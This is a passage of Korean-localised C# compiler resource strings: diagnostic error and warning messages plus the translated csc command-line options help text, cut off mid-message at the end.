CallerArgumentExpressionAttribute는 효과가 없습니다. CallerMemberNameAttribute에 의해 재정의됩니다. + 반환 형식에 있는 참조 형식 Null 허용 여부가 부분 메서드 선언과 일치하지 않습니다. + 명명된 특성 인수 '{0}'에 대해 잘못된 값입니다. + '{1}' 형식 매개 변수에 대한 '{0}' 제약 조건이 중복되었습니다. + 형식이 '{1}'인 읽기 전용 필드 '{0}'의 멤버는 값 형식이므로 개체 이니셜라이저를 사용하여 할당할 수 없습니다. + 읽기 전용 구조체에는 필드와 유사한 이벤트를 사용할 수 없습니다. + 튜플 요소 이름 '{0}'은(는) 튜플 == 또는 != 연산자의 반대쪽에서 다른 이름이 지정되었거나 이름이 지정되지 않았기 때문에 무시됩니다. + async' 한정자는 본문이 있는 메서드에서만 사용할 수 있습니다. + switch 식은 일부 null 입력을 처리하지 않습니다. + '{0}'의 partial 선언에는 서로 다른 기본 클래스를 지정할 수 없습니다. + '보호 수준 때문에 '{0}'에 액세스할 수 없습니다. + 이 컨텍스트에서는 비표시 오류(Suppression) 연산자를 사용할 수 없습니다. + 상속된 멤버 '{0}'과(와) '{1}'은(는) '{2}' 형식에 같은 시그니처가 있으므로 재정의할 수 없습니다. + 인덱서 액세스를 동적으로 디스패치해야 하지만 해당 액세스가 기본 액세스 식의 일부이므로 동적으로 디스패치할 수 없습니다. 동적 인수를 캐스팅하거나 기본 액세스를 제거하십시오. + '{0}'에 이름이 '{1}'인 적용 가능한 메서드가 없지만 이 이름의 확장 메서드는 있습니다. 확장 메서드는 동적으로 발송할 수 없습니다. 동적 인수를 캐스팅하거나 확장 메서드 구문 없이 확장 메서드를 호출해 보세요. + '{0}': 추상 속성에는 프라이빗 접근자를 사용할 수 없습니다. + 'is' 식의 지정된 식이 제공된 형식이 아닙니다. + 인라인 배열 인덱서는 요소 액세스 식에 사용되지 않습니다. + 대상 런타임은 인터페이스에서 정적 추상 멤버를 지원하지 않습니다. + 지정한 버전 문자열 '{0}'이(가) 필요한 형식 major.minor.build.revision(와일드카드 없음)을 따르지 않습니다. + 속성에서 'System.Runtime.CompilerServices.FixedBuffer' 특성을 사용하지 마세요. + {0} Win32 매니페스트 파일을 여는 동안 오류가 발생했습니다. {1} + UnscopedRefAttribute는 구조체 인스턴스 메서드 및 속성에만 적용할 수 있으며 생성자 또는 초기화 전용 멤버에는 적용할 수 없습니다. + '{0}'은(는) 봉인된 형식 '{1}'의 새 가상 멤버입니다. + 매개 변수 형식에 있는 참조 형식 Null 허용 여부가 부분 메서드(Partial Method) 선언과 일치하지 않습니다. + 식 트리에는 인덱싱된 속성을 사용할 수 없습니다. + #pragma checksum 구문이 잘못되었습니다. + 원시 문자열 리터럴을 시작하는 따옴표 문자가 부족해 이렇게 많은 따옴표 문자를 콘텐츠로 사용할 수 없습니다. + LookupOptions의 옵션 조합이 잘못되었습니다. + 길이가 '{0}'인 배열 이니셜라이저가 필요합니다 + 읽기 전용 필드는 쓰기 가능 참조로 반환될 수 없습니다. + 확장 가능한 fixed 문 + 식 트리에는 내림차순 인덱스('^') 식을 포함할 수 없습니다. + 인라인 배열 + C# 6 이전 버전에서 switch 식 또는 case 레이블은 bool, char, string, integral, enum 또는 해당하는 nullable 형식이어야 합니다. + 최소 형식 한정자를 제공하려면 위치를 제공해야 합니다. + 추가된 모듈은 어셈블리와 일치하도록 CLSCompliant 특성으로 표시되어야 합니다. + 제네릭 형식 또는 메서드 '{0}'에서 '{2}' 형식을 '{1}' 매개 변수로 사용하려면 해당 형식이 참조 형식이어야 합니다. + 스크립트 코드만 포함하여 제출할 수 있습니다. + 레코드가 'Equals'를 정의하지만 'GetHashCode'는 정의하지 않습니다. + '{0}': '{1}'에 재정의 가능한 get 접근자가 없으므로 재정의할 수 없습니다. + 이전의 catch 절에서 이미 모든 예외를 catch합니다. + 이동 가능한 고정 버퍼 인덱싱 + '{0}'은(는) 텍스트 파일이 아니라 이진 파일입니다. + Auto 속성의 필드 대상 특성이 이 언어 버전에서 지원되지 않습니다. + switch 식은 값이어야 하는데 '{0}'을(를) 찾았습니다. + 무명 형식 속성에 {0}을(를) 할당할 수 없습니다. + 할당되지 않은 자동 구현 속성을 사용하고 있는 것 같음 + '{0}'을(를) 쓰기용으로 열 수 없습니다. '{1}' + 사용자 정의 연산자 '{0}'의 명시적 구현은 정적으로 선언되어야 합니다. + 빈 문에 오류가 있는 것 같습니다. + '{0}'은(는) 구현 선언이 없는 부분 메서드(Partial Method)이므로 이 메서드로부터 대리자를 만들 수 없습니다. + object.Finalize를 재정의하는 대신 소멸자를 제공하세요. + 식 본문 생성자 및 소멸자 + 관계형 패턴 + 반환 형식에 있는 참조 형식 Null 허용 여부가 재정의된 멤버와 일치하지 않습니다. + 따옴표 붙은 파일 이름, 한 줄로 된 주석 또는 줄의 끝이 필요합니다. + '{1}'(으)로 종료할 때 '{0}' 멤버는 null이 아닌 값을 가져야 합니다. + XML 주석에 형식 매개 변수를 참조하는 '{0}' cref 특성이 있습니다. + '{0}' 대리자에는 유효한 생성자가 없습니다. + ref 읽기 전용 매개 변수 + 분해에는 변수가 두 개 이상 있어야 합니다. + 값 형식 '{1}'에 정의된 확장 메서드 '{0}'은(는) 대리자를 만드는 데 사용할 수 없습니다. + 일관성 없는 액세스 가능성: '{1}' 기본 클래스가 '{0}' 클래스보다 액세스하기 어렵습니다. + goto case는 switch 문 내부에서만 사용할 수 있습니다. + 참조 매개 변수를 통해 매개 변수 '{0}'의 구성원을 참조로 반환합니다. 그러나 return 문에서만 안전하게 반환될 수 있습니다. + System.Object 클래스는 기본 클래스를 포함할 수 없으며 인터페이스를 구현할 수 없습니다. + 할당되지 않은 지역 변수 사용 + 정적 익명 함수는 'this' 또는 'base'에 대한 참조를 포함할 수 없습니다. + '{0}': '{1}' 상속된 '{2}' 멤버를 재정의할 때 액세스 한정자를 변경할 수 없습니다. + 인덱서에는 void 형식을 사용할 수 없습니다. + 일관성 없는 액세스 가능성: '{1}' 매개 변수 형식이 '{0}' 연산자보다 액세스하기 어렵습니다. + '{0}'은(는) 재정의된 멤버 '{1}'의 초기화 전용으로 일치해야 합니다. + const 필드에 값을 입력해야 합니다. + 전역으로 사용하지 않도록 설정되었기 때문에 'CS{0}' 경고를 복원할 수 없습니다. + Finalize' 메서드를 사용하면 소멸자를 호출하는 데 방해가 될 수 있습니다. 소멸자를 선언하시겠습니까? + '{0}'의 멤버가 참조로 반환되었지만 참조로 반환할 수 없는 값으로 초기화되었습니다. + 반환 형식의 null 허용 여부가 재정의된 멤버와 일치하지 않음(null 허용 여부 특성 때문일 수 있음) + 형식 및 별칭의 이름은 'record'로 지정할 수 없습니다. + '{0}'이(가) 참조로 반환되므로 '{0}'의 본문은 반복기 블록이 될 수 없습니다. + [] 내부의 인덱스 수가 잘못되었습니다. {0}개가 필요합니다. + 서명 연기가 지정되어 공개 키가 필요하지만 지정된 공개 키가 없습니다. + [DoesNotReturn]으로 표시된 메서드는 반환하지 않아야 합니다. + 잘못된 식의 항 '{0}'입니다. + '{0}' 접근자의 액세스 가능성 한정자는 '{1}' 속성 또는 인덱서보다 제한적이어야 합니다. + CallerFilePathAttribute는 기본값이 있는 매개 변수에만 적용할 수 있습니다. + '{0}' 옵션에 대한 파일 사양이 없습니다. + 부분 메서드 선언에는 일치하는 참조 반환 값이 있어야 합니다. + 따옴표 붙은 파일 이름이 필요합니다. + '{0}' 형식의 사용자 정의 변환이 중복되었습니다. + byte, sbyte, short, ushort, int, uint, long 또는 ulong 형식이 필요합니다. + 자동 구현 속성 '{0}'이(가) 명시적으로 할당되기 전에 제어가 호출자에게 반환되어 'default'의 선행 암시적 할당이 발생합니다. + 예기치 않은 제네릭 이름의 사용입니다. + '어셈블리에 CLSCompliant 특성이 없으므로 '{0}'에 CLSCompliant 특성이 필요하지 않습니다. + '{1}' 인터페이스에 대해 관리되는 coclass 래퍼 클래스 시그니처 '{0}'은(는) 유효한 클래스 이름 시그니처가 아닙니다. + '{1}' 형식이 '{0}' 및 '{2}'에 모두 있습니다. + 유형 ‘{0}’은(는) 메타데이터로 표현할 수 없기 때문에 이 컨텍스트에서 사용할 수 없습니다. + '{1}'의 매개 변수 '{0}'에 대한 가능한 null 참조 인수입니다. + 형식이 가져온 형식과 충돌합니다. + '{0}' 형식의 상수 값이 필요 + 제네릭이 아닌 형식에서 생성된 제네릭 형식을 만들 수 없습니다. + '{0}' 문자는 보간된 문자열에서 '{0}'{0}'처럼 이중으로 사용하는 방법으로만 이스케이프할 수 있습니다. + XML 포함 요소가 잘못되었습니다. + 가능한 null 참조 반환입니다. + 이 경고는 서명이 공용 가상 void Finalize인 메서드를 포함하는 클래스를 만들 때 발생합니다. + +그런 클래스를 기본 클래스로 사용하고 파생 클래스에서 소멸자를 정의하는 경우 소멸자는 Finalize가 아닌 기본 클래스 Finalize 메서드를 재정의합니다. + 잘못된 차수 지정자입니다. ']'가 필요합니다. + stackalloc 이니셜라이저 + System.Runtime.CompilerServices.FixedBuffer' 특성을 사용하지 마세요. 대신 'fixed' 필드 한정자를 사용하세요. + 이 컨텍스트에서는 null을 사용할 수 없습니다. + ref 매개 변수를 통해 매개 변수의 멤버를 참조로 반환합니다. 그러나 return 문에서만 안전하게 반환될 수 있습니다. + 레코드 멤버 '{0}'은(는) 프라이빗이어야 합니다. + 전역 using 지시문 + 네임스페이스 별칭 한정자 '::'은 항상 형식 또는 네임스페이스를 확인하므로 여기에 사용할 수 없습니다. 대신 '.'를 사용하세요. + 인터페이스에 선언된 변환, 같음 또는 부등식 연산자는 추상 또는 가상이어야 합니다. + 형식 매개 변수 '{0}'에는 클래스 형식 제약 조건이나 'class' 제약 조건이 없으므로 'as' 연산자와 함께 사용할 수 없습니다. + 파일 로컬 유형 '{0}'은(는) 고유한 경로가 있는 파일에서 선언되어야 합니다. 경로 '{1}'은(는) 여러 파일에서 사용됩니다. + base' 키워드는 정적 메서드에서 사용할 수 없습니다. + 이 네임스페이스에서는 '인터셉터' 실험적 기능을 사용할 수 없습니다. 프로젝트에 '{0}'을(를) 추가하세요. + '{0}' 멤버를 초기화할 수 없습니다. 이 멤버는 필드 또는 속성이 아닙니다. + '{0}'과(와) '{1}' 사이에 모호성이 있습니다. + 로컬 함수가 선언되었지만 사용되지 않음 + 명령줄 구문 오류: '{1}' 옵션에 대한 Guid가 없습니다. + 'UnmanagedCallersOnly' 특성이 지정된 메서드에는 '{0}'을(를) {1} 형식으로 사용할 수 없습니다. + 참조된 어셈블리 '{0}'이(가) 다른 프로세서를 대상으로 합니다. + 암시적으로 형식화된 변수에 {0}을(를) 할당할 수 없습니다. + 출력 파일을 쓰는 동안 오류가 발생함: {0}. + '{0}': 정적 생성자에는 명시적 'this' 또는 'base' 생성자 호출을 사용할 수 없습니다. + LIB 환경 변수 + 모듈 이니셜라이저 메서드 '{0}'은(는) 모듈 수준에서 액세스할 수 있어야 합니다. + '{2}'은(는) Windows Runtime 이벤트이고 '{3}'은(는) 일반 .NET 이벤트이므로 '{0}'에서 '{1}'을(를) 구현할 수 없습니다. + '{0}'은(는) 사용되지 않습니다. + '{0}'의 형식이 '{1}'입니다. 상수 선언에 지정되는 형식은 sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string, enum-type 또는 reference-type이어야 합니다. + 지정한 버전 문자열이 권장 형식 major.minor.build.revision을 따르지 않습니다. + 인터페이스의 사용자 정의 변환은 바깥쪽 형식으로 제한되는 바깥쪽 형식의 형식 매개 변수로 또는 그 반대로 변환해야 합니다. + '{0}' 매개 변수와 짝이 맞는 매개 변수 태그가 '{1}'의 XML 주석에 없습니다. 다른 매개 변수는 짝이 맞는 태그가 있습니다. + 인덱싱된 속성 '{0}'에 반드시 제공되어야 하는 필수 인수가 있습니다. + '{1}' 형식에 대한 AsyncMethodBuilder로 사용할 '{0}' 형식의 작업 속성은 '{2}' 형식 대신 '{1}' 형식을 반환해야 합니다. + '{0}': 필드는 volatile이면서 readonly일 수 없습니다. + 레코드만 레코드에서 상속할 수 있습니다. + 종결되지 않은 원시 문자열 리터럴입니다. + 람다 식의 특성에는 괄호가 있는 매개 변수 목록이 필요합니다. + 정적 형식은 매개 변수로 사용할 수 없음 + #endregion 지시문이 필요합니다. + <missing> + 보간된 원시 문자열 리터럴을 시작하는 '$' 문자가 부족해 이렇게 많은 연속 여는 중괄호를 콘텐츠로 사용할 수 없습니다. + 형식에 있는 참조 형식 Null 허용 여부가 암시적으로 구현된 멤버와 일치하지 않습니다. + 매개 변수 이름 '{0}'이(가) 자동으로 생성된 매개 변수 이름과 충돌합니다. + 형식 매개 변수는 메서드 그룹에서 'nameof'에 대한 인수로 허용되지 않습니다. + 일관성 없는 액세스 가능성: '{1}' 매개 변수 형식이 '{0}' 대리자보다 액세스하기 어렵습니다. + 별칭을 사용하는 것은 'ref' 유형일 수 없습니다. + 이전의 catch 절에서 이미 모든 예외를 catch합니다. 예외가 아닌 모든 throw된 항목은 System.Runtime.CompilerServices.RuntimeWrappedException에 래핑됩니다. + 포함된 XML의 일부 또는 전부를 삽입하지 못했습니다. + '{0}'에 대해 await를 사용할 수 없습니다. + 'default' 제약 조건은 재정의 및 명시적 인터페이스 구현 메서드에만 유효합니다. + 매개 변수 + 상수 값이 필요합니다. + 생성기 '{0}'이(가) 소스를 생성하지 못했습니다. 출력에 기여하지 않으므로 컴파일 오류가 발생할 수 있습니다. 예외의 형식은 '{1}'이고 메시지는 '{2}'입니다. +{3} + '{0}' 형식 매개 변수가 외부 형식 '{1}'의 형식 매개 변수와 이름이 같습니다. + double 형식의 리터럴을 암시적으로 '{1}' 형식으로 변환할 수 없습니다. 이 형식의 리터럴을 만들려면 '{0}' 접미사를 사용하세요. + There is no target type for the collection expression. + 'not' 또는 'or' 패턴 안에 변수를 선언할 수 없습니다. + + Visual C# 컴파일러 옵션 + + - 출력 파일 - +-out:<file> 출력 파일 이름 지정(기본값: + 메인 클래스가 있는 파일의 기본 이름 또는 첫 번째 파일) +-target:exe 콘솔 실행 파일 빌드(기본값)(Short + 형식: -t:exe) +-target:winexe Windows 실행 파일 빌드(약식: + -t:winexe) +-target:library 라이브러리 빌드(약식: -t:library) +-target:module 다른 모듈에 추가할 수 있는 모듈 빌드 + 어셈블리(약식: -t:module) +-target:appcontainerexe Appcontainer 실행 파일 빌드(약식: + -t:appcontainerexe) +-target:winmdobj Windows 런타임 중간 파일 빌드 + WinMDExp에서 사용합니다(약식: -t:winmdobj) +-doc:<file> 생성할 XML 문서 파일 +-refout:<file> 생성할 참조 어셈블리 출력 +-platform:<string> 이 코드가 실행될 수 있는 플랫폼 제한: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred 또는 + anycpu. 기본값은 anycpu입니다. + + - 입력 파일 - +-recurse:<wildcard> 현재 디렉터리의 모든 파일을 포함하고 + 와일드카드에 따른 하위 디렉터리 + 사양 +-reference:<alias>=<file> 지정된 별칭을 사용하여 지정된 어셈블리 파일의 + 참조 메타데이터(약식: -r) +-reference:<file list> 지정된 어셈블리 파일의 참조 + 메타데이터(약식: -r) +-addmodule:<file list> 지정된 모듈을 이 어셈블리에 연결 +-link:<file list> 지정된 interop 어셈블리 파일의 + 메타데이터 포함(약식: -l) +-analyzer:<file list> 이 어셈블리에서 분석기 실행 + (약식: -a) +-additionalfile:<file list> 코드 생성에 직접적인 영향을 미치지 않지만 + 오류 또는 경고를 생성하기 위해 분석기에서 + 사용할 수 있는 추가 파일입니다. +-embed 모든 소스 파일을 PDB에 삽입합니다. +-embed:<file list> PDB에 특정 파일을 포함합니다. + + - 리소스 - +-win32res:<file> Win32 리소스 파일(.res) 지정 +-win32icon:<file> 출력에 이 아이콘 사용 +-win32manifest:<file> Win32 매니페스트 파일(.xml) 지정 +-nowin32manifest 기본 Win32 매니페스트를 포함하지 않음 +-resource:<resinfo> 지정된 리소스 포함(약식: -res) +-linkresource:<resinfo> 지정된 리소스를 이 어셈블리에 연결 + (약식: -linkres) 여기서 resinfo 형식 + 은 <file>[,<string name>[,public|private]] + + - 코드 생성 - +-debug[+|-] 디버깅 정보 내보내기 +-debug:{full|pdbonly|portable|embedded} + 디버깅 유형 지정('full'은 기본값, + 'portable'은 플랫폼 간 형식입니다. + 'embedded'는 대상 .dll 또는 .exe에 포함된 + 플랫폼 간간 형식입니다) +-optimize[+|-] 최적화 활성화(약식: -o) +-deterministic 결정적 어셈블리 생성 + (모듈 버전 GUID 및 타임스탬프 포함) +-refonly 기본 출력 대신 참조 어셈블리 생성 +-instrument:TestCoverage 커버리지 정보를 수집하기 위해 계측된 + 어셈블리 생성 +-sourcelink:<file> PDB에 삽입할 소스 링크 정보입니다. + + - 오류 및 경고 - +-warnaserror[+|-] 모든 경고를 오류로 보고 +-warnaserror[+|-]:<warn list> 특정 경고를 오류로 보고합니다. + (모든 null 가능성 경고에 대해 "nullable" 사용) +-warn:<n> 경고 수준 설정(0 이상)(약식: -w) +-nowarn:<warn list> 특정 경고 메시지 비활성화 + (모든 null 가능성 경고에 대해 "nullable" 사용) +-ruleset:<file> 특정 진단을 사용하지 않도록 설정하는 규칙 집합 파일을 + 지정합니다. +-errorlog:<file>[,version=<sarif_version>] + 모든 컴파일러 및 분석기의 진단을 SARIF 형식으로 기록하기 위해 + 지정합니다. + sarif_version:{1|2|2.1} 기본값은 1.2 및 2.1 + 둘 다 SARIF 버전 2.1.0을 의미합니다. +-reportanalyzer 실행 시간과 같은 추가 분석기 정보를 + 보고합니다. +-skipanalyzers[+|-] 진단 분석기 실행을 건너뜁니다. + + - 언어 - +-checked[+|-] 오버플로 검사 생성 +-unsafe[+|-] '안전하지 않은' 코드 허용 +-define:<symbol list> 조건부 컴파일 기호 정의(약식 + : -d) +-langversion:? 언어 버전에 허용되는 값 표시 +-langversion:<string> 다음과 같은 언어 버전 지정 + 'latest'(부 버전을 포함한 최신 버전), + `default`(`latest`와 동일), + `latestmajor`(부 버전을 제외한 최신 버전), + `preview` (지원되지 않는 미리 보기의 기능을 포함한 최신 버전), + 또는 `6` 또는 `7.1`과 같은 특정 버전 +-nullable[+|-] null 허용 컨텍스트 옵션 enable|disable을 지정합니다. +-nullable:{enable|disable|warnings|annotations} + null 허용 컨텍스트 옵션 enable|disable|warnings|annotations를 지정합니다. + + - 보안 - +-delaysign[+|-] 공개 키만 사용하여 어셈블리 서명 지연 + 공개적으로 진행합니다. +-publicsign[+|-] 강력한 이름의 키의 공개 부분만 사용하여 어셈블리 서명을 + 공개적으로 진행합니다. +-keyfile:<file> 강력한 이름의 키 파일 지정 +-keycontainer:<string> 강력한 이름의 키 컨테이너를 지정합니다. +-highentropyva[+|-] 높은 엔트로피 ASLR 사용 + + - 기타 - +@<file> 추가 옵션에 대한 응답 파일 읽기 +-help 이 사용 메시지 표시(약식: -?) +-nologo 컴파일러 저작권 메시지 억제 +-noconfig CSC.RSP 파일을 자동으로 포함하지 않음 +-parallel[+|-] 동시 빌드입니다. +-version 컴파일러 버전 번호를 표시하고 종료합니다. + + - 고급 - +-baseaddress:<address> 빌드할 라이브러리의 기준 주소 +-checksumalgorithm:<alg> PBD에 저장된 소스 파일 체크섬을 계산하기 위한 + 알고리즘을 지정합니다. 지원되는 값은 다음과 같습니다. + SHA1 또는 SHA256(기본값)입니다. +-codepage:<n> 소스를 열 때 사용할 코드페이지를 지정합니다. + 파일 +-utf8output UTF-8 인코딩으로 컴파일러 메시지 출력 +-main:<type> 진입점을 포함하는 유형 지정 + (가능한 다른 모든 진입점 무시)(약식 + : -m) +-fullpaths 컴파일러는 정규화된 경로를 생성합니다. +-filealign:<n> 출력 파일에 사용되는 정렬을 지정합니다. + 섹션 +-pathmap:<K1>=<V1>,<K2>=<V2>,... + 컴파일러를 이용하여 원본 경로 이름 출력의 매핑을 + 구체화합니다. +-pdb:<file> 디버그 정보 파일 이름 지정(기본값: + 확장자가 .pdb인 출력 파일 이름) +-errorendlocation 각 오류의 끝 위치 출력 + 행 및 열 +-preferreduilang 기본 출력 언어 이름을 지정합니다. +-nosdkpath 표준 라이브러리 어셈블리의 기본 SDK 경로 검색을 사용하지 않도록 설정합니다. +-nostdlib[+|-] 표준 라이브러리(mscorlib.dll)를 참조하지 않음 +-subsystemversion:<string> 이 어셈블리의 하위 시스템 버전 지정 +-lib:<file list> 참조를 검색할 추가 디렉터리 + 구체화 +-errorreport:<string> 내부 컴파일러 오류 처리 방법 지정: + 프롬프트, 전송, 큐 또는 없음. 기본값은 + 큐입니다. +-appconfig:<file> 어셈블리 바인딩 설정이 포함된 + 애플리케이션 구성 파일 지정 +-moduleassemblyname:<string> 이 모듈이 속할 어셈블리의 + 이름 지정 +-modulename:<문자열> 소스 모듈의 이름을 지정합니다. +-generatedfilesout:<dir> 컴파일 중에 생성된 파일을 + 지정된 디렉터리에 둡니다. +-reportivts[+|-] 여기에 부여된 모든 IVT에 대한 출력 정보 + 모든 종속성에 의한 어셈블리 및 외부 어셈블리 + 접근성 오류가 발생한 어셈블리에 대한 주석을 추가합니다. + + 구문 오류입니다. 값이 필요합니다. + '{0}'은(는) override가 아니므로 sealed가 될 수 없습니다. + #오류: '{0}' + '{0}' 범위 변수가 이미 선언되었습니다. + AssemblySignatureKeyAttribute에 잘못된 시그니처 공개 키가 지정되었습니다. + 튜플 요소 이름 '{0}'은(는) 대상 형식 '{1}'에서 다른 이름이 지정되었거나 이름이 지정되지 않았기 때문에 무시됩니다. + 이 경고는 MarshalByRefObject에서 파생되는 클래스 멤버에 대한 메서드, 속성 또는 인덱서를 호출하려고 하고, 멤버가 값 형식일 때 발생합니다. MarshalByRefObject에서 상속되는 개체는 일반적으로 애플리케이션 도메인 전체에서 참조로 마샬링됩니다. 애플리케이션 도메인에서 그런 개체의 값 형식 멤버에 직접 액세스하려고 시도하는 코드가 있을 경우 런타임 예외가 발생합니다. 이 경고를 해결하려면 먼저 멤버를 지역 변수에 복사하고 해당 변수에 대한 메서드를 호출합니다. + '{1}' 내에서 액세스할 수 없기 때문에 '{0}' 호출을 가로챌 수 없습니다. + 두 인덱서의 이름이 다릅니다. IndexerName 특성은 한 형식 안의 모든 인덱서에 대해서는 같은 이름으로 사용되어야 합니다. + 매개 변수의 참조 종류 한정자가 대상의 해당 매개 변수와 일치하지 않습니다. + 'await'의 경우 '{1}.GetAwaiter()'의 반환 형식 '{0}'에 적합한 'IsCompleted', 'OnCompleted' 및 'GetResult' 멤버가 있어야 하며 'INotifyCompletion' 또는 'ICriticalNotifyCompletion'을 구현해야 합니다. + '{0}'은(는) '{1}' 및 '{2}' 사이에 모호한 참조입니다. + 매개 변수 목록을 사용하여 'struct'에 선언된 생성자에는 기본 생성자 또는 명시적으로 선언된 생성자를 호출하는 'this' 이니셜라이저가 있어야 합니다. + 옵션은 원본 파일 또는 추가된 모듈에 지정된 특성을 재정의합니다. + 유형 및 별칭은 '필수'로 지정할 수 없습니다. + '{0}': 속성 또는 인덱서에 get 접근자와 set 접근자가 둘 다 있는 경우에만 접근자에 'readonly'를 사용할 수 있습니다. + '{0}' 및 '{1}'과(와) 관련된 순환 기본 형식 종속성입니다. + 식별자 또는 숫자 리터럴이 필요합니다. + 암시적으로 '{0}' 형식을 '{1}' 형식으로 변환할 수 없습니다. + null 가능 참조에 대한 역참조입니다. + XML 조각을 포함할 수 없습니다. + 참조로 로컬을 반환하지만 참조 로컬이 아닙니다. + '{0}': 인터페이스의 인스턴스 이벤트에는 이니셜라이저를 사용할 수 없습니다. + '{0}'은(는) 'UnmanagedCallersOnly'의 유효한 호출 규칙 형식이 아닙니다. + '{0}' 생성자는 자신을 호출할 수 없습니다. + 보간된 문자열에는 한 줄로 된 주석을 사용할 수 없습니다. + Local이 참조로 반환되었지만 참조로 반환할 수 없는 값으로 초기화되었습니다. + 이름이 '{0}'인 지역 변수 또는 함수가 이미 이 범위 안에 정의되어 있습니다. + 가로챌 수 없음: 컴파일에 경로가 '{0}'인 파일이 없습니다. 경로 '{1}'을(를) 사용하려고 했습니까? + 두 어셈블리의 릴리스 및/또는 버전 번호가 다릅니다. 통합하려면 애플리케이션의 .config 파일에서 지시문을 지정하고 어셈블리의 강력한 이름을 올바르게 제공해야 합니다. + '{0}'은(는) 변수가 아니므로 해당 반환 값을 수정할 수 없습니다. + '{0}': '{1}' 기본 형식이 CLS 규격이 아닙니다. + 필수 구성원 '{0}'에는 값을 할당해야 하며 중첩 구성원 또는 컬렉션 이니셜라이저를 사용할 수 없습니다. + 최상위 문은 네임스페이스 및 형식 선언 앞에 와야 합니다. + 부분 메서드 선언 '{0}' 및 '{1}'에는 서명 차이가 있습니다. + 원본 파일은 파일 범위 선언과 일반 네임스페이스 선언을 모두 포함할 수 없습니다. + 읽기 전용인 '{0}'에는 할당할 수 없습니다. + 유형 별칭 사용 + {0} 매개 변수가 '{1}{2}' 형식으로 선언되었지만 '{3}{4}' 형식이어야 합니다. + PermissionSet 특성에 대해 명명된 인수 '{1}'에 지정된 '{0}' 파일을 읽는 동안 오류가 발생했습니다. '{2}' + 식 트리에는 switch 식이 포함될 수 없습니다. + '{0}' 형식 매개 변수의 제약 조건 절을 이미 지정했습니다. 형식 매개 변수의 모든 제약 조건은 하나의 where 절에 지정해야 합니다. + 'static' 한정자는 'unsafe' 한정자 앞에 와야 합니다. + 무명 형식에서 사용 + void'에 대해 'void'를 사용할 수 없습니다. + '{0}' 로컬은 참조 로컬이 아니므로 참조로 반환할 수 없습니다. + 생성자 호출을 동적으로 디스패치해야 하지만 해당 호출이 생성자 이니셜라이저의 일부이므로 동적으로 디스패치할 수 없습니다. 동적 인수를 캐스팅하십시오. + 암시적으로 형식화된 출력 변수 '{0}'의 형식을 유추할 수 없습니다. + 어셈블리 '{0}'에 '{1}' 특성이 없으므로 이 어셈블리의 interop 형식을 포함할 수 없습니다. + #line span 지시문은 첫 번째 괄호 앞, 문자 오프셋 앞, 파일 이름 앞에 공백이 필요합니다. + 개체 이니셜라이저 + 암시적으로 형식화된 변수에는 선언자를 여러 개 사용할 수 없습니다. + {0} '{1}'은(는) 읽기 전용 변수이므로 쓰기 가능 참조로 반환할 수 없습니다. + 네임스페이스는 필드, 메서드 또는 문과 같은 멤버를 직접 포함할 수 없습니다. + '{0}' 멤버 한정자는 멤버 형식과 이름 앞에 와야 합니다. + switch 식에서 입력 형식의 가능한 값을 모두 처리하지는 않습니다(전체 아님). + '{1}' 인터셉터로 '{0}'에 대한 호출을 가로채지만 서명이 일치하지 않습니다. + }가 필요합니다. + 빈 스위치 블록입니다. + 명명된 특성 인수가 필요합니다. + 입력 문자열은 해당 UTF-8 바이트 표현으로 변환할 수 없습니다. {0} + 매개 변수에 고유한 기본값이 여러 개 있습니다. + '{0}' 형식의 인수는 DefaultParameterValue 특성에 사용할 수 없습니다. + 사용자 정의 변환은 바깥쪽 형식으로 변환하거나 바깥쪽 형식으로부터 변환해야 합니다. + 할당되지 않은 필드를 사용하고 있는 것 같음 + '{1}' 형식의 '{0}' 구조체 멤버는 구조체 레이아웃에서 순환됩니다. + 제약 조건 형식이 CLS 규격이 아닙니다. + 괄호로 묶인 패턴 + '{0}' 특성 클래스는 abstract이므로 적용할 수 없습니다. + 참조로 로컬 '{0}'의 멤버를 반환하지만 참조 로컬이 아닙니다. + 지정한 식은 항상 제공한 상수와 일치합니다. + '{0}'은(는) abstract, extern 또는 partial로 표시되어 있지 않으므로 본문을 선언해야 합니다. + 접근할 수 없는 코드가 있습니다. + '{3}' 기능을 C# {4}에서 사용할 수 없으므로 '{0}'이(가) '{2}' 형식의 인터페이스 멤버 '{1}'을(를) 구현할 수 없습니다. 언어 버전 '{5}' 이상을 사용하세요. + 사용하기 전에 참조 필드 '{0}' 참조를 할당해야 합니다. + 가능한 null 참조 할당입니다. + 레코드 구조체 + 이 비동기 메서드에는 'await' 연산자가 없으며 메서드가 동시에 실행됩니다. 'await' 연산자를 사용하여 비블로킹 API 호출을 대기하거나, 'await Task.Run(...)'을 사용하여 백그라운드 스레드에서 CPU 바인딩된 작업을 수행하세요. + 'var' 상황별 키워드는 명시적 람다 반환 형식으로 사용할 수 없습니다. + 초기값 전용 setter + 범위 변수 '{0}'에 메서드 형식 매개 변수와 동일한 이름을 사용할 수 없습니다. + '{0}' 형식에 정의된 생성자가 없습니다. + 무명 메서드 + 스크립트(.csx 파일)가 필요하지만 지정되지 않았습니다. + 단일 부분 형식 선언만 매개 변수 목록을 가질 수 있습니다. + 조각 패턴은 '{0}' 형식 값에 사용할 수 없습니다. + 참조로 매개 변수를 반환하지만 ref 매개 변수가 아닙니다. + nullable 형식 + '{0}'에는 이 버전의 C # 컴파일러에서 지원되지 않는 컴파일러 기능 '{1}'이(가) 필요합니다. + 기본 생성자가 합성된 복사 생성자와 충돌합니다. + 지시 파일에 지정되었기 때문에 /noconfig 옵션을 무시합니다. + nullable 참조 형식 + 분해 'var (...)' 양식에서는 'var'에 특정 형식을 사용할 수 없습니다. + #line 지시문에 지정한 줄 번호가 없거나 잘못되었습니다. + 잘못된 형식의 XML 파일 "{0}"을(를) 포함할 수 없습니다. + {0} 분석기 어셈블리를 로드할 수 없습니다({1}). + '{0}' 사용자 정의 연산자는 static 및 public으로 선언해야 합니다. + 선언이 잘못되었습니다. 대신 '{0} operator <dest-type> (...'을 사용하세요. + '{0}': 정적 형식은 반환 형식으로 사용할 수 없습니다. + '{1}'이(가) 없어 '{0}'에 params 매개 변수를 사용할 수 없습니다. + 로컬 '{0}'이(가) 참조로 반환되었지만 참조로 반환할 수 없는 값으로 초기화되었습니다. + 필드가 명시적으로 할당되기 전에 제어가 호출자에게 반환되어 사전에 '기본값'이 암시적으로 할당됩니다. + 임시 파일을 만들 수 없습니다. {0} + '{0}'에 가장 적합한 오버로드에는 '{1}' 매개 변수가 없습니다. + '{0}' 형식 매개 변수의 이름이 